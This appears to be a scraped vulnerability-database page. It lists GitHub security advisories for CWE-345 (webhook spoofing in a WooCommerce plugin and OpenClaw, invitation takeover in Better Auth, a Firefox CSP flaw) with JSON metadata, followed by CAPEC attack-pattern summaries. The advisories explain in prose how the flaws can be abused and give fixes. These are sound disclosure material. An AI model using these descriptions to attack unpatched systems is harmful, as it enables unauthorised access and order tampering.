      "url": "https://github.com/sgl-project/sglang/pull/44653"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sgl-project/sglang/blob/v0.5.21/python/sglang/srt/managers/io_struct.py#L205-L215"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sgl-project/sglang/blob/v0.5.21/python/sglang/srt/managers/tokenizer_manager.py#L1183-L1215"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/sglang-through-0.5.21-kv-cache-poisoning-via-mm-hashes-in-generate"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FGW2-QJHX-X8QQ

Vulnerability from github – Published: 2026-10-15 09:30 – Updated: 2026-10-15 12:31
VLAI
Details

The Rede Itaú for WooCommerce WordPress plugin before 5.5.3 does not verify the authenticity of a payment gateway webhook before updating an order's status, allowing unauthenticated attackers to change the status of arbitrary WooCommerce orders, including orders that were already paid or completed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-92428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-15T07:18:03Z",
    "severity": "MODERATE"
  },
  "details": "The Rede Ita\u00fa for WooCommerce WordPress plugin before 5.5.3 does not verify the authenticity of a payment gateway webhook before updating an order\u0027s status, allowing unauthenticated attackers to change the status of arbitrary WooCommerce orders, including orders that were already paid or completed.",
  "id": "GHSA-fgw2-qjhx-x8qq",
  "modified": "2026-10-15T12:31:01Z",
  "published": "2026-10-15T09:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92428"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/106c8da0-cfb5-49da-8c6d-cb56e8cbc4c2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHVM-J76F-QMJV

Vulnerability from github – Published: 2026-02-17 21:34 – Updated: 2026-03-06 00:58
VLAI
Summary
OpenClaw has a potential access-group authorization bypass if channel type lookup fails
Details

Summary

When Telegram webhook mode is enabled without a configured webhook secret, OpenClaw may accept unauthenticated HTTP POST requests at the Telegram webhook endpoint and trust attacker-controlled update JSON. This can allow forged Telegram updates that spoof message.from.id / chat.id, potentially bypassing sender allowlists and executing privileged bot commands.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected: <= 2026.1.30
  • Patched: >= 2026.2.1

Impact

An attacker who can reach the webhook endpoint can forge Telegram updates and impersonate allowlisted/paired senders by spoofing fields in the webhook payload (for example message.from.id). Impact depends on enabled commands/tools and the deployment’s network exposure.

Mitigations / Workarounds

  • Configure a strong channels.telegram.webhookSecret and ensure your reverse proxy forwards the X-Telegram-Bot-Api-Secret-Token header unchanged.

Fix Commit(s)

  • ca92597e1f9593236ad86810b66633144b69314d (config validation: webhookUrl requires webhookSecret)

Defense-in-depth / supporting fixes:

  • 5643a934799dc523ec2ef18c007e1aa2c386b670 (default webhook listener bind host to loopback)
  • 3cbcba10cf30c2ffb898f0d8c7dfb929f15f8930 (bound webhook request body size/time)
  • 633fe8b9c17f02fcc68ecdb5ec212a5ace932f09 (runtime guard: reject webhook startup when secret is missing/empty)

Release Process Note

patched_versions is set to the first fixed release (2026.2.1).

Thanks @yueyueL for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T21:34:36Z",
    "nvd_published_at": "2026-03-05T22:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nWhen Telegram webhook mode is enabled without a configured webhook secret, OpenClaw may accept unauthenticated HTTP POST requests at the Telegram webhook endpoint and trust attacker-controlled update JSON. This can allow forged Telegram updates that spoof `message.from.id` / `chat.id`, potentially bypassing sender allowlists and executing privileged bot commands.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected: `\u003c= 2026.1.30`\n- Patched: `\u003e= 2026.2.1`\n\n## Impact\n\nAn attacker who can reach the webhook endpoint can forge Telegram updates and impersonate allowlisted/paired senders by spoofing fields in the webhook payload (for example `message.from.id`). Impact depends on enabled commands/tools and the deployment\u2019s network exposure.\n\n## Mitigations / Workarounds\n\n- Configure a strong `channels.telegram.webhookSecret` and ensure your reverse proxy forwards the `X-Telegram-Bot-Api-Secret-Token` header unchanged.\n\n## Fix Commit(s)\n\n- ca92597e1f9593236ad86810b66633144b69314d (config validation: `webhookUrl` requires `webhookSecret`)\n\nDefense-in-depth / supporting fixes:\n\n- 5643a934799dc523ec2ef18c007e1aa2c386b670 (default webhook listener bind host to loopback)\n- 3cbcba10cf30c2ffb898f0d8c7dfb929f15f8930 (bound webhook request body size/time)\n- 633fe8b9c17f02fcc68ecdb5ec212a5ace932f09 (runtime guard: reject webhook startup when secret is missing/empty)\n\n## Release Process Note\n\n`patched_versions` is set to the first fixed release (`2026.2.1`).\n\nThanks @yueyueL for reporting.",
  "id": "GHSA-fhvm-j76f-qmjv",
  "modified": "2026-03-06T00:58:46Z",
  "published": "2026-02-17T21:34:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-fhvm-j76f-qmjv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28454"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/3cbcba10cf30c2ffb898f0d8c7dfb929f15f8930"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/5643a934799dc523ec2ef18c007e1aa2c386b670"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/633fe8b9c17f02fcc68ecdb5ec212a5ace932f09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/ca92597e1f9593236ad86810b66633144b69314d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.1"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-authorization-bypass-via-unauthenticated-telegram-webhook"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has a potential access-group authorization bypass if channel type lookup fails"
}

GHSA-FMH4-WCC4-5JM3

Vulnerability from github – Published: 2026-07-07 20:54 – Updated: 2026-07-20 19:24
VLAI
Summary
Better Auth vulnerable to unauthorized invitation acceptance via unverified email match in organization plugin
Details

Am I affected?

Users are affected if all of the following are true:

  • Their application uses better-auth with the organization plugin (import { organization } from "better-auth/plugins/organization").
  • Their application enables a sign-up surface that allows arbitrary unverified email registration. Most commonly emailAndPassword: { enabled: true } without requireEmailVerification: true.
  • Their application has not set requireEmailVerificationOnInvitation: true on the organization() options.
  • Their application invitation distribution flow allows anyone other than the invited mailbox owner to obtain the invitationId. Examples: admin UI surfacing the link, copy-paste into chat, forwarded email, mail-forwarding rules at the recipient's domain, link previews logging the URL, or a custom sendInvitationEmail integration that sends to a non-owner channel.

If their application set emailAndPassword: { enabled: true, requireEmailVerification: true } so unverified rows cannot reach a usable session, they are not affected. Setting requireEmailVerificationOnInvitation: true closes acceptInvitation and rejectInvitation, but getInvitation and listUserInvitations remain ungated even with that flag.

Fix:

  1. Upgrade to better-auth@1.6.11 or later.
  2. If developers cannot upgrade their application, see workarounds below.

Summary

The organization plugin's acceptInvitation endpoint trusts an email-string equality check as proof that the session user owns the invited address. With Better Auth's stock emailAndPassword: { enabled: true } configuration, requireEmailVerification defaults to false, so an attacker can sign up a row keyed to victim@target.example (auto-signed-in, emailVerified: false) before the legitimate owner. When an organization admin invites that address, the attacker presents the invitationId and accepts the invitation, joining the organization at the invited role.

Details

The recipient gate compares invitation.email.toLowerCase() to session.user.email.toLowerCase() and returns 403 on mismatch. The opt-in requireEmailVerificationOnInvitation flag adds an emailVerified check, but it defaults to false and only fires on acceptInvitation and rejectInvitation; getInvitation and listUserInvitations have no emailVerified gate at all.

The bearer token (invitationId) is by default 32 chars over [a-zA-Z0-9] (~190 bits), so the realistic attack vector is leakage of the invitation link rather than brute force.

The fix shape defaults the emailVerified gate to on and extends it across all four invitation endpoints (acceptInvitation, rejectInvitation, getInvitation, listUserInvitations). This is the same trust-primitive class as GHSA-g38m-r43w-p2q7 (OAuth auto-link); both ship the rule "email equality is not ownership proof; both sides must prove ownership".

Patches

Fixed in better-auth@1.6.11. All four invitation recipient endpoints (acceptInvitation, rejectInvitation, getInvitation, listUserInvitations) now require the session user's emailVerified to be true in addition to the email-string match. The requireEmailVerificationOnInvitation option default flips from false to true, so applications are secure out of the box.

getInvitation and listUserInvitations use the new EMAIL_VERIFICATION_REQUIRED_FOR_INVITATION error code so the wording matches the operation; acceptInvitation and rejectInvitation keep the existing EMAIL_VERIFICATION_REQUIRED_BEFORE_ACCEPTING_OR_REJECTING_INVITATION code. Server-side calls to listUserInvitations that pass ctx.query.email without an authenticated session continue to bypass the gate; the gate is specific to session-authenticated recipient calls.

Integrators who intentionally accept invitations on unverified sessions can preserve the legacy permissive behavior with organization({ requireEmailVerificationOnInvitation: false }). The option is marked @deprecated; the gate at each call site carries a FIXME pointing at the next-minor follow-up that drops the option and makes the check unconditional. Operators that take this opt-out should understand the takeover risk before doing so.

Workarounds

If developers cannot upgrade their applications immediately:

  • Set organization({ requireEmailVerificationOnInvitation: true }). Closes acceptInvitation and rejectInvitation against unverified sessions. Does not close getInvitation or listUserInvitations.
  • Set emailAndPassword.requireEmailVerification: true (or remove email/password sign-up entirely). Closes the pre-registration step itself.
  • Layer middleware on the organization invitation routes that asserts session.user.emailVerified === true and rejects otherwise.

Impact

  • Account takeover via pre-account hijacking on the org invitation surface: the attacker, holding only an unverified self-issued session and the leaked invitationId, joins the organization as a member at the invited role.
  • Organization membership reach: the attacker reads invitation contents and any organization-scoped data the joined role can see, and acts as a member of the victim organization.

Credit

Reported by @widavies.

Resources

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "better-auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53514"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345",
      "CWE-441",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T20:54:51Z",
    "nvd_published_at": "2026-07-15T18:16:47Z",
    "severity": "HIGH"
  },
  "details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- Their application uses `better-auth` with the `organization` plugin (`import { organization } from \"better-auth/plugins/organization\"`).\n- Their application enables a sign-up surface that allows arbitrary unverified email registration. Most commonly `emailAndPassword: { enabled: true }` without `requireEmailVerification: true`.\n- Their application has not set `requireEmailVerificationOnInvitation: true` on the `organization()` options.\n- Their application invitation distribution flow allows anyone other than the invited mailbox owner to obtain the `invitationId`. Examples: admin UI surfacing the link, copy-paste into chat, forwarded email, mail-forwarding rules at the recipient\u0027s domain, link previews logging the URL, or a custom `sendInvitationEmail` integration that sends to a non-owner channel.\n\nIf their application set `emailAndPassword: { enabled: true, requireEmailVerification: true }` so unverified rows cannot reach a usable session, they are not affected. Setting `requireEmailVerificationOnInvitation: true` closes `acceptInvitation` and `rejectInvitation`, but `getInvitation` and `listUserInvitations` remain ungated even with that flag.\n\nFix:\n\n1. Upgrade to `better-auth@1.6.11` or later.\n2. If developers cannot upgrade their application, see workarounds below.\n\n### Summary\n\nThe organization plugin\u0027s `acceptInvitation` endpoint trusts an email-string equality check as proof that the session user owns the invited address. With Better Auth\u0027s stock `emailAndPassword: { enabled: true }` configuration, `requireEmailVerification` defaults to `false`, so an attacker can sign up a row keyed to `victim@target.example` (auto-signed-in, `emailVerified: false`) before the legitimate owner. When an organization admin invites that address, the attacker presents the `invitationId` and accepts the invitation, joining the organization at the invited role.\n\n### Details\n\nThe recipient gate compares `invitation.email.toLowerCase()` to `session.user.email.toLowerCase()` and returns 403 on mismatch. The opt-in `requireEmailVerificationOnInvitation` flag adds an `emailVerified` check, but it defaults to `false` and only fires on `acceptInvitation` and `rejectInvitation`; `getInvitation` and `listUserInvitations` have no `emailVerified` gate at all.\n\nThe bearer token (`invitationId`) is by default 32 chars over `[a-zA-Z0-9]` (~190 bits), so the realistic attack vector is leakage of the invitation link rather than brute force.\n\nThe fix shape defaults the `emailVerified` gate to on and extends it across all four invitation endpoints (`acceptInvitation`, `rejectInvitation`, `getInvitation`, `listUserInvitations`). This is the same trust-primitive class as GHSA-g38m-r43w-p2q7 (OAuth auto-link); both ship the rule \"email equality is not ownership proof; both sides must prove ownership\".\n\n### Patches\n\nFixed in `better-auth@1.6.11`. All four invitation recipient endpoints (`acceptInvitation`, `rejectInvitation`, `getInvitation`, `listUserInvitations`) now require the session user\u0027s `emailVerified` to be `true` in addition to the email-string match. The `requireEmailVerificationOnInvitation` option default flips from `false` to `true`, so applications are secure out of the box.\n\n`getInvitation` and `listUserInvitations` use the new `EMAIL_VERIFICATION_REQUIRED_FOR_INVITATION` error code so the wording matches the operation; `acceptInvitation` and `rejectInvitation` keep the existing `EMAIL_VERIFICATION_REQUIRED_BEFORE_ACCEPTING_OR_REJECTING_INVITATION` code. Server-side calls to `listUserInvitations` that pass `ctx.query.email` without an authenticated session continue to bypass the gate; the gate is specific to session-authenticated recipient calls.\n\nIntegrators who intentionally accept invitations on unverified sessions can preserve the legacy permissive behavior with `organization({ requireEmailVerificationOnInvitation: false })`. The option is marked `@deprecated`; the gate at each call site carries a `FIXME` pointing at the next-minor follow-up that drops the option and makes the check unconditional. Operators that take this opt-out should understand the takeover risk before doing so.\n\n### Workarounds\n\nIf developers cannot upgrade their applications immediately:\n\n- **Set `organization({ requireEmailVerificationOnInvitation: true })`**. Closes `acceptInvitation` and `rejectInvitation` against unverified sessions. Does not close `getInvitation` or `listUserInvitations`.\n- **Set `emailAndPassword.requireEmailVerification: true`** (or remove email/password sign-up entirely). Closes the pre-registration step itself.\n- **Layer middleware** on the organization invitation routes that asserts `session.user.emailVerified === true` and rejects otherwise.\n\n### Impact\n\n- **Account takeover via pre-account hijacking on the org invitation surface**: the attacker, holding only an unverified self-issued session and the leaked `invitationId`, joins the organization as a member at the invited role.\n- **Organization membership reach**: the attacker reads invitation contents and any organization-scoped data the joined role can see, and acts as a member of the victim organization.\n\n### Credit\n\nReported by @widavies.\n\n### Resources\n\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-441: Unintended Proxy or Intermediary](https://cwe.mitre.org/data/definitions/441.html)",
  "id": "GHSA-fmh4-wcc4-5jm3",
  "modified": "2026-07-20T19:24:41Z",
  "published": "2026-07-07T20:54:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-fmh4-wcc4-5jm3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53514"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/pull/9577"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/commit/23094a628f007f801be6d26e5b15dc5fc6fc4eb8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/better-auth/better-auth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Better Auth vulnerable to unauthorized invitation acceptance via unverified email match in organization plugin"
}

GHSA-FMQ6-M827-77JC

Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:01
VLAI
Details

If a wildcard ('*') is specified for the host in Content Security Policy (CSP) directives, any port or path restriction of the directive will be ignored, leading to CSP directives not being properly applied to content. This vulnerability affects Firefox < 69.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-11737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-27T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "If a wildcard (\u0027*\u0027) is specified for the host in Content Security Policy (CSP) directives, any port or path restriction of the directive will be ignored, leading to CSP directives not being properly applied to content. This vulnerability affects Firefox \u003c 69.",
  "id": "GHSA-fmq6-m827-77jc",
  "modified": "2024-04-04T02:01:34Z",
  "published": "2022-05-24T16:57:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11737"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1388015"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2019-25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-148: Content Spoofing

An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.

CAPEC-218: Spoofing of UDDI/ebXML Messages

An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

CAPEC-701: Browser in the Middle (BiTM)

An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.